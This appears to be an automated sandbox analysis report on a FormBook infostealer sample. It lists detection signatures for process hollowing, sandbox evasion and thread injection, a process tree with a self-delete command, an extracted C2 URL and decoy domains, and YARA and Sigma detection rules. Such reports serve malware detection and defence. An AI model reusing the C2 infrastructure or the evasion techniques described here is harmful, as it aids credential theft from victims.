Play interactive tour

Edit tour

Windows Analysis Report TPJX2QwEdXs5sTV.exe

Overview

General Information

Sample Name:	TPJX2QwEdXs5sTV.exe
Analysis ID:	483640
MD5:	ce556ce97ea23cbc2940f2aad45d468f
SHA1:	cc2bdaefa2f0ac108e2f456e42a42e8258580cf4
SHA256:	7c3d5ebd2c417a52b2a0b98dee95b5a7f283816f6a2453ceeffd31becc140882
Tags:	exeFormbookxloader
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Writes to foreign memory regions

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Performs DNS queries to domains with low reputation

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Tries to detect virtualization through RDTSC time measurements

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Found potential string decryption / allocating functions

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Contains functionality to read the PEB

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

TPJX2QwEdXs5sTV.exe (PID: 5056 cmdline: 'C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe' MD5: CE556CE97EA23CBC2940F2AAD45D468F)

RegSvcs.exe (PID: 5192 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

RegSvcs.exe (PID: 4036 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

explorer.exe (PID: 3292 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

cmd.exe (PID: 3608 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 4572 cmdline: /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.438451.com/t75f/"], "decoy": ["ice-lemon.pro", "ar3spro.cloud", "9055837.com", "fucksociety.net", "prettyofficialx.com", "mfxw.xyz", "relationshipquiz.info", "customia.xyz", "juanayjuan.com", "zidiankj.com", "facture-booking.com", "secondmining.store", "aboutyou.club", "gongxichen.com", "laurabraincreative.com", "pierrot-bros.com", "saintpaulaccountingservices.com", "dom-maya.com", "garderobamarzen.net", "la-salamandre-assurances.com", "pearmanprep.com", "telfarcontrol.com", "productsshareco.com", "cirf2021.online", "purchasevip.com", "cakewalkvision.com", "pointrenewables.com", "groups4n.com", "swnegce.xyz", "tjapro.com", "packagedesign.biz", "services-govgr.cloud", "shopgrassfedbeef.com", "tquilaint.com", "templetreemontessori.com", "munortiete.com", "nothingbutspotlesss.com", "fanpaixiu.xyz", "fr-site-amazon.com", "salartfinance.com", "beachers-shop.com", "friskvardaportalen.online", "pinsanova.site", "lemonvinyl.online", "indianadogeavaxsite.site", "styphon.com", "open24review-service.com", "bdjh9.xyz", "cocodiesel.com", "fortmyersfl.deals", "dsdtourism.com", "phone-il.net", "learningfactoryus.com", "incentreward.xyz", "travellerfund.com", "changcheng.pro", "cryptowalletts.com", "tradopplst.xyz", "autonomoustechnologyinc.com", "assessmentdna.xyz", "denicon-th.com", "dib5so.com", "genwealthbuilders.store", "delnetitcilo.net"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x4695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x4181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x4797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x33fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9b87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xac2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x6ab9:$sqlite3step: 68 34 1C 7B E1 0x6bcc:$sqlite3step: 68 34 1C 7B E1 0x6ae8:$sqlite3text: 68 38 2A 90 C5 0x6c0d:$sqlite3text: 68 38 2A 90 C5 0x6afb:$sqlite3blob: 68 53 D8 7F 8C 0x6c23:$sqlite3blob: 68 53 D8 7F 8C
00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ab9:$sqlite3step: 68 34 1C 7B E1 0x16bcc:$sqlite3step: 68 34 1C 7B E1 0x16ae8:$sqlite3text: 68 38 2A 90 C5 0x16c0d:$sqlite3text: 68 38 2A 90 C5 0x16afb:$sqlite3blob: 68 53 D8 7F 8C 0x16c23:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ab9:$sqlite3step: 68 34 1C 7B E1 0x16bcc:$sqlite3step: 68 34 1C 7B E1 0x16ae8:$sqlite3text: 68 38 2A 90 C5 0x16c0d:$sqlite3text: 68 38 2A 90 C5 0x16afb:$sqlite3blob: 68 53 D8 7F 8C 0x16c23:$sqlite3blob: 68 53 D8 7F 8C
00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ab9:$sqlite3step: 68 34 1C 7B E1 0x16bcc:$sqlite3step: 68 34 1C 7B E1 0x16ae8:$sqlite3text: 68 38 2A 90 C5 0x16c0d:$sqlite3text: 68 38 2A 90 C5 0x16afb:$sqlite3blob: 68 53 D8 7F 8C 0x16c23:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x4695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x4181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x4797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x33fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9b87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xac2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x6ab9:$sqlite3step: 68 34 1C 7B E1 0x6bcc:$sqlite3step: 68 34 1C 7B E1 0x6ae8:$sqlite3text: 68 38 2A 90 C5 0x6c0d:$sqlite3text: 68 38 2A 90 C5 0x6afb:$sqlite3blob: 68 53 D8 7F 8C 0x6c23:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ab9:$sqlite3step: 68 34 1C 7B E1 0x16bcc:$sqlite3step: 68 34 1C 7B E1 0x16ae8:$sqlite3text: 68 38 2A 90 C5 0x16c0d:$sqlite3text: 68 38 2A 90 C5 0x16afb:$sqlite3blob: 68 53 D8 7F 8C 0x16c23:$sqlite3blob: 68 53 D8 7F 8C
00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ab9:$sqlite3step: 68 34 1C 7B E1 0x16bcc:$sqlite3step: 68 34 1C 7B E1 0x16ae8:$sqlite3text: 68 38 2A 90 C5 0x16c0d:$sqlite3text: 68 38 2A 90 C5 0x16afb:$sqlite3blob: 68 53 D8 7F 8C 0x16c23:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.281632826.0000000002FA1000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x86588:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x86912:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x92625:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x92111:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x92727:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x9289f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x8732a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x9138c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x880a2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x97b17:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x98bba:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x94a49:$sqlite3step: 68 34 1C 7B E1 0x94b5c:$sqlite3step: 68 34 1C 7B E1 0x94a78:$sqlite3text: 68 38 2A 90 C5 0x94b9d:$sqlite3text: 68 38 2A 90 C5 0x94a8b:$sqlite3blob: 68 53 D8 7F 8C 0x94bb3:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ab9:$sqlite3step: 68 34 1C 7B E1 0x16bcc:$sqlite3step: 68 34 1C 7B E1 0x16ae8:$sqlite3text: 68 38 2A 90 C5 0x16c0d:$sqlite3text: 68 38 2A 90 C5 0x16afb:$sqlite3blob: 68 53 D8 7F 8C 0x16c23:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x140248:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x1405d2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14c2e5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14bdd1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14c3e7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14c55f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x140fea:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x14b04c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x141d62:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1517d7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x15287a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x14e709:$sqlite3step: 68 34 1C 7B E1 0x14e81c:$sqlite3step: 68 34 1C 7B E1 0x14e738:$sqlite3text: 68 38 2A 90 C5 0x14e85d:$sqlite3text: 68 38 2A 90 C5 0x14e74b:$sqlite3blob: 68 53 D8 7F 8C 0x14e873:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: TPJX2QwEdXs5sTV.exe PID: 5056	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.RegSvcs.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18d87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19e2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.RegSvcs.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15cb9:$sqlite3step: 68 34 1C 7B E1 0x15dcc:$sqlite3step: 68 34 1C 7B E1 0x15ce8:$sqlite3text: 68 38 2A 90 C5 0x15e0d:$sqlite3text: 68 38 2A 90 C5 0x15cfb:$sqlite3blob: 68 53 D8 7F 8C 0x15e23:$sqlite3blob: 68 53 D8 7F 8C
1.2.TPJX2QwEdXs5sTV.exe.4175e30.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.2.TPJX2QwEdXs5sTV.exe.4175e30.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x68418:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x687a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x744b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x73fa1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x745b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x7472f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x691ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x7321c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x69f32:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x799a7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x7aa4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.2.TPJX2QwEdXs5sTV.exe.4175e30.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x768d9:$sqlite3step: 68 34 1C 7B E1 0x769ec:$sqlite3step: 68 34 1C 7B E1 0x76908:$sqlite3text: 68 38 2A 90 C5 0x76a2d:$sqlite3text: 68 38 2A 90 C5 0x7691b:$sqlite3blob: 68 53 D8 7F 8C 0x76a43:$sqlite3blob: 68 53 D8 7F 8C
6.2.RegSvcs.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.RegSvcs.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b87:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.RegSvcs.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ab9:$sqlite3step: 68 34 1C 7B E1 0x16bcc:$sqlite3step: 68 34 1C 7B E1 0x16ae8:$sqlite3text: 68 38 2A 90 C5 0x16c0d:$sqlite3text: 68 38 2A 90 C5 0x16afb:$sqlite3blob: 68 53 D8 7F 8C 0x16c23:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 4 entries

Sigma Overview

System Summary:

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Show sources

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: 'C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe' , ParentImage: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe, ParentProcessId: 5056, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 5192

Sigma detected: Possible Applocker Bypass

Show sources

Source: Process started

Author: juju4: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: 'C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe' , ParentImage: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe, ParentProcessId: 5056, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 5192

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.438451.com/t75f/"], "decoy": ["ice-lemon.pro", "ar3spro.cloud", "9055837.com", "fucksociety.net", "prettyofficialx.com", "mfxw.xyz", "relationshipquiz.info", "customia.xyz", "juanayjuan.com", "zidiankj.com", "facture-booking.com", "secondmining.store", "aboutyou.club", "gongxichen.com", "laurabraincreative.com", "pierrot-bros.com", "saintpaulaccountingservices.com", "dom-maya.com", "garderobamarzen.net", "la-salamandre-assurances.com", "pearmanprep.com", "telfarcontrol.com", "productsshareco.com", "cirf2021.online", "purchasevip.com", "cakewalkvision.com", "pointrenewables.com", "groups4n.com", "swnegce.xyz", "tjapro.com", "packagedesign.biz", "services-govgr.cloud", "shopgrassfedbeef.com", "tquilaint.com", "templetreemontessori.com", "munortiete.com", "nothingbutspotlesss.com", "fanpaixiu.xyz", "fr-site-amazon.com", "salartfinance.com", "beachers-shop.com", "friskvardaportalen.online", "pinsanova.site", "lemonvinyl.online", "indianadogeavaxsite.site", "styphon.com", "open24review-service.com", "bdjh9.xyz", "cocodiesel.com", "fortmyersfl.deals", "dsdtourism.com", "phone-il.net", "learningfactoryus.com", "incentreward.xyz", "travellerfund.com", "changcheng.pro", "cryptowalletts.com", "tradopplst.xyz", "autonomoustechnologyinc.com", "assessmentdna.xyz", "denicon-th.com", "dib5so.com", "genwealthbuilders.store", "delnetitcilo.net"]}

Multi AV Scanner detection for submitted file

Show sources

Source: TPJX2QwEdXs5sTV.exe

ReversingLabs: Detection: 17%

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.TPJX2QwEdXs5sTV.exe.4175e30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp, type: MEMORY
